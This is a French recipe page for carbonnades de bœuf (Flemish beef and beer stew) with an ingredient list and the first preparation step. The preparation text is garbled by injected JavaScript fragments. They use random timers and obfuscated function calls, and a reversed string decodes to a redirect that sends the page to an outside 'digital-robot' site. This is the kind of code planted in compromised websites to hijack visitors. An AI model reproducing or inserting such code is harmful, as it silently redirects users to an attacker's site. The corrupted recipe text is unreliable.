Carbonnades de bœuf

Coupez la viandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande de bœuf en gros cubes. Pelez, hachez les oignons. Dans une cocotte avec 2 cuillères à soupe d’huile d’arachide, sur feu vif, faites revenir les oignons tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant. Quandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ils sont bien dorés retirez les de la cocotte et réservez.

Ingrédients

• Pour 6 personnes
• 1,5 kg de bœuf à braiser
• 350 g d'oignons
• 3 cuillères à soupe de farine
• 3 cuillères à soupe de vinaigre
• 1 litre de bière brune
• 50 cl d'eau
• 3 cuillères à café de cassonade
• 4 tranches de pain d'épices
• 1 feuille de laurier
• 1 brin de thym
• 2 cuillères à soupe d'huile d'arachide
• Sel et Poivre

Préparation de la recette